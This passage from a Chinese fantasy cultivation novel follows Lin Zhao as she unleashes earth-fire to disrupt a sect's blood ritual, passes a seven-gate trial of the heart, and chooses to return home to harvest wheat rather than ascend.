李慕云握住他的手,对林照说:“天衍宗的主力,现在在鬼哭峡重新布阵。我们远远看了一眼——他们好像在准备什么‘献祭’,抓了不少大荒里的妖兽,还有……人。”
“人?”
“嗯。”李慕云点头,“除了这五个,应该还有别的俘虏。看那阵势,是想用生灵精血,强行冲击仙山屏障。”
林照心中一沉。
血祭……这是最恶毒的邪术。以大量生灵的性命为代价,强行破开阵法或结界。若真让他们成了,仙山会怎样不好说,但这片大荒,恐怕真的会彻底死去。
“得阻止他们。”林照站起身。
“怎么阻止?”陈砚苦笑,“我们这点人,冲过去就是送死。”
林照沉默片刻,忽然问:“你们知道,天衍宗为什么要这么急着破开仙山吗?”
两人摇头。
“我在天梯上,看到了一些……景象。”林照缓缓道,“仙山内部,似乎有什么东西在‘苏醒’。天衍宗的人,可能感觉到了,所以不惜一切代价,要在那东西完全苏醒前,闯入仙山。”
“什么东西?”李慕云问。
“不知道。”林照摇头,“但给我的感觉……很古老,很沉重,像沉睡了千万年的巨兽,正在慢慢睁开眼睛。”
岩隙里陷入沉默,只有篝火噼啪作响。
许久,李慕云开口:“林照,你还记得你之前说过的话吗?这世上有些东西,不是人力能对抗的。但有些东西,也不是人力能独占的。”
林照看向他。
“仙山里的东西,不管是什么,都不该被天衍宗这样的人得到。”李慕云眼神坚定,“我们不能硬拼,但可以……给他们制造点麻烦。”
“什么麻烦?”
李慕云从怀中掏出那张《北荒商道图》,铺在地上,指着其中一处标记:“这里,是‘地火脉’的一个支脉出口。古商队记载,此地地火活跃,但被上古修士用阵法封印了。如果我们能破开封印,引地火喷发……”
“会怎样?”陈砚问。
“鬼哭峡正好在地火脉的主脉上。”李慕云指着地图上的另一处,“地火喷发,主脉必受影响。天衍宗的阵法,需要稳定的地脉支撑。地火一动,他们的阵基至少要毁掉三成。”
林照盯着地图,心中快速盘算。
风险很大——地火一旦失控,可能波及整片大荒,他们自己也难逃。但若成功,确实能重创天衍宗,为七宗赢得时间。
“有把握吗?”她问。
“五成。”李慕云实话实说,“古地图记载不全,封印的具体情况不明。而且……我们不懂阵法,破封只能靠蛮力。”
“蛮力……”林照忽然想起什么,从怀中掏出那枚道令,“这个,或许有用。”
她将道令按在地图上,注入心神。黄光流转,地图上的山川纹路竟开始微微发亮,某些原本模糊的标记,变得清晰起来。
其中一处,正是地火脉的封印节点——那里画着一个奇特的符号,像是一把锁。
“这是……‘厚土封’?”林照不确定地说。她在周云鹤的册子上见过类似的阵法记载——以地脉之力为锁,封印地火,是最稳固的封印之一。
破此封印,需要“守土人”的血。
因为守土人的血,蕴含着与这片土地最深切的联系,能骗过封印的识别,让封印暂时“误认”来者是这片土地的主人,从而打开。
李慕云看着林照:“林照,你……”
“我去。”林照收起道令,“你们带伤员和这五个弟子,去天梯那边。沈师兄他们会接应。”
“不行!”陈砚和李慕云同时反对。
“这是唯一的办法。”林照看着两人,“放心,我是守土人,这片土地不会轻易让我死。而且……”
她笑了笑,笑容里有种说不出的温柔:“我还得回去收麦子呢。老谷头说过,答应孩子的事,一定要做到。我答应了豆苗,花开的时候就回去。”
陈砚眼眶红了。李慕云别过脸,用力眨了眨眼。
最终,两人妥协了。
“我们送你到地火脉附近。”李慕云说,“然后我们就撤。但你答应我们——活着回来。”
“我答应。”
三人击掌为誓。
半个时辰后,林照独自站在一处荒凉的山谷前。
这里寸草不生,地面是暗红色的砂石,空气中弥漫着淡淡的硫磺味。山谷深处,隐约能看见一个漆黑的洞口,洞口周围的岩石上,刻满了古老的符文。
那就是封印地火脉的“厚土封”。
林照拔出镰刀,在掌心划了一道。鲜血滴落,渗入砂石。她将染血的手掌,按在洞口的岩石上。
“以守土人之血,请开地门——”
话音未落,岩石上的符文突然亮起刺目的红光!
整个山谷开始震动,地面裂开无数细密的缝隙,炽热的气息从裂缝中喷出。洞口深处,传来沉闷的轰鸣,像有什么东西在苏醒,在挣扎,在怒吼。
封印,松动了。
林照抽身后退,转身就往山谷外跑。
她身后,洞口喷出了第一股赤红的火焰。接着是第二股,第三股……地火如挣脱囚笼的怒龙,冲天而起,将半边夜空染成血色。
大地在哀嚎,在颤抖。
而远在鬼哭峡的天衍宗营地,此刻已经乱成一团。
地脉剧烈震动,三个阵基同时开裂,刚刚凝聚的血煞之气开始溃散。韩长老目眦欲裂,看着东方那片染红的天空,嘶声怒吼:
“谁——!!!”
无人应答。
只有地火的咆哮,响彻整片大荒。
而在天梯上,沈不言等人看到了东方升起的火光。所有人都明白——林照,做到了。
“准备接应!”沈不言握紧剑柄,眼中闪过决然。
地火喷发的轰鸣声中,一道身影正从火光中冲出,向着天梯的方向,全力奔来。
她身后,是燃烧的大地。
她前方,是等待的同伴。
而更高处的仙山,在火光映照下,仿佛睁开了眼睛。
第三问,快要开始了。
40. 道火焚心
林照是在地火喷发的轰鸣声中冲回天梯范围的。
她的头发被热浪燎焦了一截,脸上沾满烟灰,粗布衣的袖口和裤脚都有烧灼的痕迹。但手中那柄镰刀握得很紧,刀柄上李虎刻的那个歪歪扭扭的“虎”字,在火光映照下清晰可见。
沈不言在天梯边缘接应她,一把将她拽上台阶的瞬间,身后的黑暗如潮水般吞没了地火的光。但大地深处传来的震动依然持续着,像一头受伤巨兽的哀嚎。
“受伤了吗?”沈不言快速检查她的情况。
林照摇摇头,喘着粗气,目光却看向台阶下方——陈砚和李慕云带着伤员,正艰难地向这边移动。王叔背着一名昏迷的碧水门弟子,另外三个伙计互相搀扶,所有人都狼狈不堪,但还活着。
“快上来!”凌虚子带着几名弟子冲下台阶接应。
半刻钟后,所有人安全退入天梯范围。二十一名通过前两问的弟子,加上陈砚、李慕云等十一个凡人,还有那五名昏迷的各宗弟子,总共三十七人,挤在第一百级到一百二十级台阶上——这是天梯白光照耀最亮的区域。
地火喷发的轰鸣渐渐平息,但大地的震动仍在继续。东方天空的赤红色慢慢褪去,重新被黑暗吞噬。可那黑暗不再纯粹——隐隐的,有暗红色的纹路在夜空流转,像血管,又像某种巨大阵法的脉络。
“血煞阵还没完全破。”青禾观察着天空,脸色凝重,“地火冲击只是打乱了阵脚,韩长老他们还在强行维持。”
凌虚子点头:“但他们至少损失了三成阵基,短时间内应该无力再进攻。这是我们喘息的机会。”
众人开始安顿伤员。青禾带着紫阳宗弟子给所有人检查伤势、分发丹药。碧水门和青云观的弟子帮忙包扎。炎烁用他的“人间火”升起几团温和的火焰,既照明,又驱散黑暗带来的寒意。
林照靠在第一百零三级台阶的栏杆上,看着下方忙碌的人群。陈砚和李慕云正在给王叔他们处理伤口,两人动作熟练,显然是最近练出来的。
沈不言走到她身边,递过一个水囊:“喝点。”
林照接过,抿了一口,是温的——沈不言用剑气加热过。
“谢谢。”她轻声说。
沈不言没说话,只是和她并肩站着,望向天梯更高处。第三段天梯在黑暗中延伸,看不真切,只能隐约看见台阶上浮动着微弱的光晕,像是等待着什么。
“第三问,快来了。”沈不言说。
“嗯。”林照点头,“你说,会是什么?”
沈不言沉默片刻,缓缓道:“道与愿违,守与失衡,生与死择……听起来,像是要让人在绝境中做选择。而且,很可能是无法两全的选择。”
林照握紧了水囊。她想起在地火脉前的那一刻——为了阻止天衍宗,她不得不引动地火,毁掉一片土地的生息。那算“守”吗?还是“破”?
她不知道。
夜渐深。
大部分人都疲惫地睡去,只留几个弟子值守。林照睡不着,她盘膝坐在台阶上,将心神沉入丹田。
那枚“守土令”静静悬浮着,散发着温润的黄光。她能感觉到,令牌中蕴含着某种“权柄”——不是对力量的掌控,而是对这片土地的“感应权”。通过它,她能模糊地感知到大地的状态:
鬼哭峡方向,血煞阵虽然受损,但核心仍在运转,像一颗溃烂心脏的搏动。
地火脉方向,封印已经彻底破碎,地火正在缓缓回流,但喷发造成的伤痕需要很长时间才能愈合。
更远的地方——晒谷观方向,她能隐约感觉到七个孩子的气息,微弱但平稳。还有阿茸,那只白羊似乎在做什么美梦,气息很安宁。
这些感应很模糊,像隔着一层毛玻璃看世界。但已经足够让她安心。
至少,她牵挂的那些人,都还活着。
就在这时,守土令忽然震动了一下。
林照睁开眼,发现沈不言、炎烁、青禾也同时睁开了眼睛——他们手中的道令,都在微微发光,四色光芒在空中交汇,映亮了周围的黑暗。
“这是……”炎烁惊讶。
“第三问要开始了。”凌虚子站起身,脸色肃然。
所有睡着的人都醒了。三十七双眼睛,齐齐望向天梯更高处。
只见第三段天梯的起点——第一百三十级台阶,突然亮起了刺目的白光。那光芒不是之前那种温润的玉色,而是冰冷的、审视的、像手术刀一样锋利的光。
光芒中,缓缓浮现出三行字:
“第三问:
“若道与愿违,当如何?”
“若守与失衡,当如何?”
“若生与死择,当如何?”
字迹浮现的瞬间,所有人都感觉到一股庞大的威压降临——不是针对□□,是针对神魂,针对道心。像有一只无形的手,直接探入你意识最深处,翻检着你所有的信念、所有的执着、所有的恐惧。
“坚守道心!”凌虚子厉声喝道,“这是问心之劫,扛不住,道基必毁!”
众人慌忙盘膝坐下,全力运转功法对抗威压。
但威压越来越强。
林照感觉自己的意识开始模糊,眼前的景象扭曲、旋转。她咬牙坚持,将心神死死锚定在守土令上。令牌的黄光护住了她的神魂核心,但外围的意识,已经开始被拉扯、撕裂……
她听见了哭声。
是豆苗的声音,那个十岁的男孩,哭得撕心裂肺:“照姐……你答应过……花开的时候就回来……花开了……你骗人……”
她看见了火光。
晒谷观在燃烧,李虎抱着豆苗往外冲,但一根燃烧的房梁砸下来,眼看就要砸中他们——
“不——!”林照想冲过去,但身体动弹不得。
然后画面一转。
她看见自己站在一片焦土上,手里握着木斧,斧尖滴着血。脚下躺着一具尸体——是沈不言?不,是炎烁?不,好像是……陈砚?
她看不清。
只听见一个声音在耳边低语:“你守住了这片土地,但你守护的人呢?他们死了,全都死了。你的守,有什么意义?”
林照浑身颤抖,意识几乎崩溃。
就在此时,守土令忽然爆发出前所未有的光芒!那光芒不是防御,而是……反击?
她感觉到,令牌中涌出一股温厚而坚定的力量,那力量不是来自她自己,而是来自更深处——来自晒谷观的麦田,来自老井的水,来自孩子们埋下的麦种,来自阿茸对苜蓿花的渴望,来自陈砚和李慕云拼死送来的地图,来自沈不言递来的那囊温水,来自炎烁升起的人间火,来自青禾炼制的丹药……
来自所有平凡而珍贵的存在。
那些牵挂,那些守护,那些人间烟火,在这一刻汇聚成河,涌入她的神魂。
林照睁开眼。
眼前的幻象消失了。她依然坐在天梯上,手中握着守土令,令牌的黄光稳定而坚韧。
她抬头看向第三段天梯的起点。
三行字的下方,开始浮现新的内容:
“答问者,需入‘道火焚心阵’。”
“阵中七重幻境,对应七情七苦。”
“破幻而出者,可登顶。”
“沉沦其中者,道消魂散。”
话音落下的瞬间,三十七人中,手持道令的四人——林照、沈不言、炎烁、青禾,同时感觉身体一轻,被一股无形的力量拽起,飞向第一百三十级台阶!
“林师妹!”
“沈师兄!”
其他人的惊呼声迅速远去。
林照感觉自己坠入了一片纯白的空间。上下左右皆是虚无,只有前方,悬浮着七道门。
门是火焰凝成的,颜色各异:赤、橙、黄、绿、青、蓝、紫。
赤色门中,传来愤怒的咆哮;橙色门中,是贪婪的低语;黄色门中,是傲慢的讥笑;绿色门中,是嫉妒的哭诉;青色门中,是怠惰的叹息;蓝色门中,是色欲的魅惑;紫色门中,是恐惧的尖叫。
七情门。
林照深吸一口气,没有犹豫,直接走向第一道——赤色门。
踏入的瞬间,她回到了鬼哭峡。
但不是刚才的鬼哭峡,是更早的时候——天衍宗刚刚开始布阵,韩长老正在指挥弟子搬运灵石。而她自己,正潜伏在岩隙中,手握镰刀,准备破坏阵基。
“杀了他。”一个声音在心底说,“趁现在,杀了韩长老,一切就结束了。血煞阵不会成,地火不会喷发,没有人会死。杀啊,你还在等什么?”
林照看着远处韩长老的背影。那个白发老者背对着她,毫无防备。她只需要冲过去,镰刀一挥,就能割断他的喉咙。
很诱人的想法。
但她没有动。
因为她看见,韩长老身边,还站着几个年轻弟子。那些弟子脸上带着憧憬和敬畏,显然是把韩长老当作值得追随的前辈。如果她现在冲出去杀人,那些弟子会怎么做?他们会拼命保护师长,然后……死在她手上。
“他们也是天衍宗的帮凶!”心底的声音咆哮,“杀了他们,是为民除害!”
林照摇头,轻声说:“老谷头说过,以杀止杀,杀无止尽。我今天杀了他们,明天他们的同门就会来报仇。仇恨的链条一旦开始,就再也斩不断了。”
她转身,悄悄退出了岩隙。
没有杀人,选择了更麻烦的路——引地火,破阵基,只毁阵,不杀人。
赤色门在她身后碎裂。
第二道,橙色门。
门内是一座金山。黄金堆成山,灵石如流水,法宝如繁星。一个声音在诱惑:“拿啊,这些都是你的。有了这些,你可以重建晒谷观,可以让孩子们过上好日子,可以让阿茸吃最好的苜蓿。拿一点点,没人知道。”
林照看着那些财富,确实心动。但她想起了老谷头的话:“照丫头,记住——不义之财如流水,来得快,去得也快。人这一辈子,花自己挣的钱,睡得最踏实。”
她转身离开。
橙色门碎。
第三道,黄色门。
门内是高高的云台,她身着华服,脚下万千修士跪拜。所有人都在称颂她的功德,说她是有史以来最伟大的守土人,说她应该执掌东域,统领群仙。
“接受吧。”声音谄媚,“这是你应得的。你有这个能力,有这个资格。只要你点头,天下都是你的。”
林照看着那些跪拜的人,忽然笑了:“我要天下做什么?我只想要一亩三分地,种我的麦子,养我的小羊。”
她走下云台。
黄色门碎。
第四道,绿色门。
门内是她熟悉的景象——沈不言正在练剑,剑光如月;炎烁在控火,火焰如龙;青禾在炼丹,丹香扑鼻。每个人都比她强,每个人都走在她前面。
“嫉妒吗?”声音低语,“你本该和他们一样,甚至更强。可你选了最没用的‘守土之道’,困在一方小天地里。看看他们,多风光啊。”
林照看着三位同伴,眼中没有嫉妒,只有欣慰:“他们强,是好事。他们越强,能守护的就越多。至于我……我的道就在这里,在我脚下这片土地上。我不需要风光,我只需要踏实。”
绿色门碎。
第五道,青色门。
门内是一张舒适的床,阳光透过窗棂洒进来,温暖安逸。一个声音温柔地说:“歇歇吧,你已经够累了。外面的事,让别人去操心。你就在这儿,好好睡一觉,多好啊。”
林照确实累了。从下山到现在,她没有一天真正休息过。此刻看着那张床,她真想躺上去,睡个三天三夜。
但她想起了豆苗的话:“照姐,花开的时候,你就回来了。”
花还没开,她不能睡。
她转身,推开房门。
青色门碎。
第六道,蓝色门。
门内是沈不言。但不是平日里沉稳持重的沈不言,是另一个沈不言——眼神温柔,伸出手,轻声说:“林照,留下来。我们可以在这里建个小院,种点菜,养只羊。不去管什么仙山,什么天梯,就我们两个人,过平凡的日子,好不好?”
林照怔住了。
她看着那个沈不言,心中确实有波澜。这些时间,沈不言一直陪在她身边,和她农作,护她周全,在她最需要的时候出现。要说完全没有感觉,那是骗人。
但她最后还是摇头:“沈师兄不会说这种话。他的剑道是守护,不是逃避。如果真的喜欢一个人,应该是支持她走自己的路,而不是把她困在身边。”
幻象中的沈不言愣住了,然后苦笑,消散。
蓝色门碎。
最后一道,紫色门。
门内什么都没有,只有黑暗。绝对的、纯粹的黑暗。没有光,没有声音,没有温度,连自己的存在都感觉不到。
恐惧如潮水般涌来。
不是对具体事物的恐惧,是对“虚无”本身的恐惧——如果一切都消失了,如果牵挂的人都死了,如果守护的土地化为焦土,如果她所做的一切都毫无意义……那该怎么办?
林照站在黑暗中,感觉自己在下沉,下沉,永远沉不到底。
就在意识即将彻底涣散时,她忽然感觉到手心一热。
是那柄镰刀。
李虎刻的那个“虎”字,在黑暗中发出微弱但坚定的光。那光里,她仿佛看见——晒谷观的麦田在风中起伏,老井的水依然清澈,孩子们在院子里玩闹,阿茸在苜蓿坡上啃草。陈砚在打算盘,李慕云在看地图,沈不言在练剑,炎烁在煮粥,青禾在炼丹……
这些画面很碎,很快。
但它们存在过,真实地存在过。
那就够了。
林照握紧镰刀,轻声说:“就算一切终将消失,至少我守护过。这就够了。”
紫色门,轰然破碎。
七情门全部通过。
林照睁开眼,发现自己站在一片虚无的白色空间里。前方,沈不言、炎烁、青禾也刚刚睁开眼睛,四人身上都带着疲惫,但眼神清明。
“你们都通过了?”林照问。
三人点头。
就在这时,白色空间中央,缓缓升起一座石碑。
石碑通体漆黑,表面光滑如镜,映出四人的身影。石碑上刻着三行字,正是第三问的问题:
“若道与愿违,当如何?”
“若守与失衡,当如何?”
“若生与死择,当如何?”
石碑下方,出现了四个凹槽,形状正好对应四枚道令。
“这是要我们……把道令放进去?”炎烁不确定地问。
沈不言沉吟片刻,点头:“应该是。七情门考验的是道心是否坚定,现在石碑要的,是我们对这三个问题的‘答案’。”
“可答案是什么?”青禾蹙眉,“每个人都不一样吧?”
林照想了想,走上前,将自己的守土令按进第一个凹槽——对应“道与愿违”。
令牌嵌入的瞬间,石碑上浮现出一行字:
“道若与愿违,便修愿,不改道。”
这是她的答案——如果现实与理想相悖,不是放弃道,是调整方法,调整愿望,但道的根本不动摇。
沈不言上前,将剑令按进第二个凹槽——对应“守与失衡”。
石碑浮现:
“守若失衡,便以剑为尺,重定平衡。”
炎烁的火令按进第三个凹槽——对应“生与死择”。
石碑浮现:
“生死若择,便燃我之火,照两全之路。”
青禾的丹令按进最后一个凹槽——对应“若三者皆遇,当如何”。
石碑浮现:
“道火焚心,丹心不灭。纵万千劫,吾往矣。”
四枚道令全部嵌入,石碑开始震动。
表面的黑色如潮水般褪去,露出底下白玉般的材质。而在白玉碑面上,缓缓浮现出一幅地图——
不是人间的地图,是仙山内部的结构图。
图上标注着三条路:
第一条,金光璀璨,直通山顶,路旁标注“飞升道”。
第二条,银光流转,蜿蜒曲折,路旁标注“问道途”。
第三条,灰扑扑的,几
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乎看不清,只在尽头处标了一个小小的“家”字。
地图下方,有一行小字:
“三路择一,勿回头。”
“这是……让我们选?”炎烁挠头,“飞升道肯定是登仙的路吧?问道途是什么?还有这个‘家’……”
沈不言盯着地图,忽然说:“你们看飞升道的尽头——”
众人凝神看去。飞升道的终点,确实标着“仙界”二字,但在那两个字旁边,还有一行极小的注释,几乎看不清:
“飞升者,道韵归天,神魂为契,永镇天门。”
“永镇天门?”青禾脸色一变,“什么意思?”
林照想起了镇渊子的记忆碎片,想起了云游子的话,缓缓道:“意思就是——飞升者到了仙界,不是逍遥自在的仙人,是……守门的‘材料’。他们的道韵被抽取,神魂被束缚,永生永世镇守天门,不得自由。”
所有人都沉默了。
原来这就是真相。
千年飞升梦,竟是一场永恒的囚禁。
“那问道途呢?”炎烁指向第二条路。
问道途的尽头,标注的是“真境”二字。注释写着:
“问道者,需舍一身修为,重入轮回,历百世劫,方可得真。”
意思是,要走这条路,必须放弃所有修为,重新投胎,经历百世轮回磨难,才有可能窥见真正的“道”。
代价太大,希望渺茫。
“第三条路……”沈不言看向那条灰扑扑的路,“‘家’……是回家的路?”
林照盯着那条路看了很久。路的尽头没有标注地点,只有一个“家”字。但不知为何,她看着那个字,心里涌起一股强烈的悸动。
像是……呼唤?
“你们选哪条?”青禾问。
四人互相对视。
炎烁最先开口,咧嘴一笑:“我选家。什么仙界真境,我不稀罕。我就想回去,吃口热乎饭,睡个踏实觉。”
青禾点头:“我也选家。紫阳宗还需要我,那些凡人病患还需要我炼的丹药。”
沈不言看向林照:“你呢?”
林照没有立刻回答。她伸手,轻轻触碰石碑上那个“家”字。
触碰的瞬间,她仿佛听见了——
麦浪的声音。
阿茸的“咩”声。
孩子们的笑声。
还有老谷头临终前的那句话:“照丫头,记住——仙不在天上,在你想去的地方。”
她想去的地方,从来不是仙界。
是那片麦田,是那个小院,是那些平凡的人间烟火。
“家。”林照轻声说,“我选回家。”
沈不言笑了:“那我也选家。我的剑,本就为守护而存。要守护的人都在人间,我回去。”
四人达成一致。
就在他们做出选择的瞬间,石碑轰然碎裂!
碎片化作四道流光,分别没入四枚道令中。道令上的浮雕开始变化——林照的守土令背面,麦田的图案旁,多了一行小字:“此心安处是吾乡。”
沈不言的剑令背面,剑与灯火的图案旁,多了“守护即道”。
炎烁的火令背面,火焰的图案旁,多了“温暖人间”。
青禾的丹令背面,种子的图案旁,多了“生机不绝”。
四枚道令同时飞回四人手中,入手温润,仿佛有了生命。
而前方的白色空间,开始崩塌。
不是毁灭,是转化——白色褪去,露出了真实的天梯。他们依然站在第一百三十级台阶上,只是前方,出现了三条岔路。
正是石碑地图上的三条路。
金光璀璨的飞升道,银光流转的问道途,还有那条灰扑扑的、几乎看不清的……回家路。
天梯之下,凌虚子等人看见四人现身,都松了口气。
“你们通过第三问了?”凌虚子急问。
林照点头,将三条路的情况简单说了一遍。
众人听完,都陷入了沉思。
飞升道是囚笼,问道途是渺茫的赌博,回家路……意味着放弃仙山机缘,回到平凡的人间。
怎么选?
“我选回家。”李慕云忽然开口。他一直安静地听着,此刻站起身,语气坚定,“李家矿行还在等我,那些矿工兄弟还在等我。仙山再好,不是我的地方。”
陈砚点头:“我也是。北地还有万千凡人,需要有人去告诉他们——修仙不是唯一的出路。好好活着,认真活着,就是道。”
有了带头人,其他人也开始做出选择。
碧水门的水月仙子犹豫许久,最终咬牙:“我……我选回家。我爹娘还在等我回去,我不能让他们白发人送黑发人。”
青云门的一位老道叹息:“老道修行两百年,本以为追求的是长生大道。今日方知,长生若要以自由为代价,不如不要。我也回家。”
一个接一个,大部分人选择了回家路。
只有少数几人,还在犹豫。
凌虚子看着飞升道,眼中闪过挣扎。他是玄霄阁这一代最杰出的弟子,背负着师门的期望,本该登上仙路,光耀宗门。可现在……
“凌虚子师兄。”林照轻声说,“老谷头说过,人这一辈子,最重要的是活得明白。你自己想走哪条路,想清楚就好。但一旦选了,就别后悔。”
凌虚子沉默良久,最终苦笑:“我……选回家。玄霄阁的期望,我会用别的方式去实现。但让我永生永世镇守天门,我不愿。”
所有人都做出了选择。
三十七人中,三十五人选择了回家路。
只有两人——玄霄阁的一位年轻弟子,还有赤焰谷的一位执事长老,选择了问道途。他们不甘心就此放弃,宁愿经历百世轮回,也要追求那渺茫的“真”。
“保重。”林照对两人拱手。
“你们也是。”那位年轻弟子深深一揖,转身踏上了银光流转的问道途。他的身影很快消失在光芒中。
执事长老也离开了。
现在,只剩下回家路。
那条灰扑扑的、毫不起眼的小路,静静延伸向黑暗深处。看不见尽头,不知道通向哪里。
但所有人都知道——路的终点,是家。
是他们来的地方,是他们牵挂的地方,是他们愿意用一生去守护的地方。
“走吧。”林照第一个踏上了回家路。
沈不言、炎烁、青禾紧随其后。
陈砚、李慕云、王叔等人跟上。
凌虚子、水月仙子、青云观老道……一个接一个,所有人都踏上了这条路。
路很窄,只能容一人通过。两旁是浓得化不开的黑暗,只有脚下依稀可见石阶的轮廓。
但没有人害怕。
因为他们知道——这条路,通向的不是未知的仙界,是已知的、温暖的、充满烟火气的人间。
路的尽头,有麦田,有炊烟,有等待的人。
这就够了。
不知走了多久,前方终于出现了光。
不是仙光,不是法术的光芒,是……晨曦。
天亮了。
路的尽头,是一片熟悉的景象——
晒谷观后山的苜蓿坡,在晨光中泛着淡淡的紫色。坡下,麦田金黄,几个孩子正在田埂上玩耍。阿茸抬头,望向这边,金角在阳光下闪闪发光。
它“咩”了一声,像是欢迎。
林照停下脚步,看着眼前的景象,眼眶发热。
她回来了。
带着一身伤痕,带着满心疲惫,但也带着更坚定的道,更清晰的答案。
沈不言走到她身边,轻声问:“后悔吗?放弃了飞升的机会。”
林照摇头,笑了:“这里就是我的云外。有麦田,有阿茸,有晒谷观和孩子们,有你们。这就是最好的仙山。”
她望向东方——那里,仙山的虚影正在缓缓淡去,天梯的光芒也在消散。仿佛这场持续了千年的飞升梦,终于到了该醒的时候。
而人间,太阳照常升起。
炊烟照常袅袅。
麦子,该收了。
41. 麦熟时节
晒谷观的清晨是从鸡鸣开始的。
不是仙鹤清唳,不是钟磬悠扬,是后院那只芦花老母鸡准时的“喔喔”声。声音穿过薄雾,惊醒了苜蓿叶上的露珠,也唤醒了东厢房里沉睡的人。
林照睁开眼,盯着头顶熟悉的木梁看了好一会儿。
梁上挂着一串风干的辣椒,红艳艳的;旁边是两捆草药,散发着淡淡的苦香;墙角有个蜘蛛网,一只小蜘蛛正忙着修补昨夜的破损——一切都和三个月前她离开时一样。
不,不一样了。
她坐起身,感受着丹田里那枚守土令温润的脉动。令牌不再只是法器,而是成了她身体的一部分,像第二颗心脏,随着她的呼吸,与脚下的大地共鸣。
推开吱呀作响的木门,晨风扑面而来,带着麦香和泥土的气息。
麦田真的黄了。
金灿灿的一片,从晒谷观门口一直延伸到后山脚下,麦穗沉甸甸地垂着头,在晨风中泛起波浪。几个孩子已经起来了,正在田埂上跑闹——豆苗跑在最前面,手里举着一根特别饱满的麦穗,像举着胜利的旗帜。
“照姐!”看见林照,孩子们呼啦啦围上来。
豆苗把麦穗塞进她手里:“你看!最大的这个!我留给你!”
其他孩子也争相献宝:“我这根也大!”“我的才大呢!”
林照笑了,挨个摸摸他们的头。三个月不见,孩子们都长高了些,豆苗的裤脚短了一截,小宝的个子也窜了一大截。
“阿茸呢?”她问。
“在坡上吃草呢!”孩子们拉着她往后山跑。
苜蓿坡上,阿茸正慢悠悠地啃着带着露水的苜蓿叶。看见林照,它抬起头,金角在晨光中闪了闪,然后“咩”了一声,继续低头吃草——仿佛她只是出去打了趟柴,而不是经历了生死考验。
这种寻常,让林照眼眶发热。
“林照。”身后传来陈砚的声音。
林照转身,看见陈砚和李慕云从观外走来。两人都换了干净的粗布衣,陈砚手里拿着账本,李慕云怀里抱着一卷新绘的地图。
“陈砚,李慕云。”林照迎上去,“矿上怎么样了?”
“都安顿好了。”陈砚说,“王叔他们带回去的消息,让矿工们安心不少。昨天我已经派人去北地各城传信,告诉凡人们——仙门并非唯一出路,天衍宗的阴谋已经挫败,大家可以安心过日子了。”
李慕云补充道:“我们还画了新的矿脉图,标注了安全区域和危险区域。以后开采,会避开地火脉和灵力紊乱的地方。”
林照松了口气:“那就好。”
正说着,沈不言从西厢房走了出来。穿着一件普通的青色布衣,手里提着剑——一把普通的青钢剑。
“沈不言,早。”林照打招呼。
沈不言点点头:“早。我晨练。”
他说着走向观前的空地,开始练剑。招式很基础,劈、刺、撩、扫,没有剑气纵横,没有光华四射,就是最朴素的剑术。但林照能感觉到,每一剑里蕴含的“意”更加沉凝了,多了守护的厚重。
“这小子,悟了。”一个厚重的声音响起。
林照转头,看见老谷头的牌位前,不知何时多了个人——是凌虚子。他也换了便服,正给老谷头上香。
“凌虚子师兄,你……”
“我暂时不回去。”凌虚子插好香,转过身,“玄霄阁那边,我已经传讯说明情况。师门尊重我的选择,让我在外游历修行。”他顿了顿,“我觉得,晒谷观就挺好。”
林照笑了:“欢迎。”
厨房方向传来炊烟和香气。炎烁系着围裙,正在灶台前忙活,青禾在帮他打下手——这位紫阳宗的丹道天才,此刻正在认真地洗青菜。
“早饭马上好!”炎烁挥舞着锅铲,“今天煮了麦粥,蒸了馒头,还炒了两个菜!”
青禾抬头,温柔一笑:“林师妹,去叫孩子们洗手吧。”
林照应了声,心里涌起一股暖流。这就是她选择回来的世界——有炊烟,有饭菜香,有平凡而真实的温暖。
早饭是在院子里吃的。两张旧木桌拼在一起,摆满了碗筷。大人一桌,孩子一桌,阿茸也凑过来,在桌下啃孩子们偷偷喂它的馒头屑。
凌虚子起初有些不自在——他修行两百多年,早已辟谷,也很少和这么多人一起吃饭。但看着孩子们吃得香甜,看着炎烁得意地展示他的“人间火”煮粥秘诀,看着青禾细心地给豆苗擦掉嘴角的粥渍,他慢慢地也拿起了筷子。
麦粥很香,馒头很软,炒青菜带着清晨的露水气。
“好吃吗?”炎烁期待地问。
凌虚子认真品味,点头:“有烟火气。”
众人都笑了。
饭后,林照拿起镰刀,走向麦田。
麦熟时节,该收割了。
沈不言跟了上来,也拿了把镰刀。炎烁和青禾本来要帮忙,但林照摇头:“你们伤还没好利索,休息吧。我和沈不言李虎他们先收着。”
凌虚子站在田埂上看了会儿,忽然说:“我也试试。”
于是四个人,四把镰刀,在金黄的麦浪中开始了劳作。
镰刀挥起,麦秆应声而断,发出清脆的“嚓嚓”声。林照和李虎动作熟练,左手拢住麦秆,右手挥镰,一割就是一大把。沈不言起初生疏,但很快掌握了节奏。凌虚子最慢,但他很认真,每一刀都力求整齐。
阳光渐渐升高,汗水浸湿了衣衫。
林照直起腰,擦了把汗,看向远方。仙山的虚影已经完全消失了,天空湛蓝如洗,只有几缕白云悠悠飘过。鬼哭峡方向,也没有了血煞阵的暗红纹路——韩长老他们应该已经撤退了。
大地深处传来平稳的脉动。通过守土令,林照能感觉到:地火正在缓慢回流,喷发造成的裂痕在自然愈合;被血煞阵侵蚀的土地,开始重新焕发生机;更远处,北地各城的凡人气息稳定而充满希望。
一切都回到了正轨。
“林照。”沈不言忽然开口。
“嗯?”
“谢谢你。”沈不言看着她,眼神认真,“如果不是你,我可能真的会选飞升道。那样的话,我就成了天门的囚徒,永远失去了自由,也永远……见不到这些了。”
他望向麦田,望向晒谷观,望向那些奔跑的孩子。
林照摇头:“是你自己选的。我只是给了你一个看到真相的机会。”
“不。”沈不言轻声说,“是你让我明白——剑道的极致不是斩断什么,而是守护什么。我以前总想着变强,变得能斩断一切阻碍。但现在我知道了,有些东西,是需要小心翼翼捧在手里的。”
他伸出手,掌心朝上,仿佛捧着什么珍贵的东西。
阳光落在他掌心,温暖而明亮。
凌虚子在一旁听着,忽然说:“我在玄霄阁三百年,学的都是‘争’——争资源,争机缘,争飞升名额。师门教导我们,修仙本就是逆天而行,不争则死。”他顿了顿,看着手中的镰刀,“但现在我觉得,或许还有另一种修法——不是逆天,不是争夺,是顺应,是守护。”
林照笑了:“老谷头说过,人活一世,最重要的是找到自己的‘道’。找到了,就踏实了。”
几人继续收割。
中午时分,麦田已经收了一半。金黄的麦垛堆在田边,像一座座小山。孩子们跑过来送水,炎烁和青禾也做好了午饭——烙饼、咸菜、绿豆汤,简单但管饱。
吃饭时,陈砚和李慕云带来了新消息。
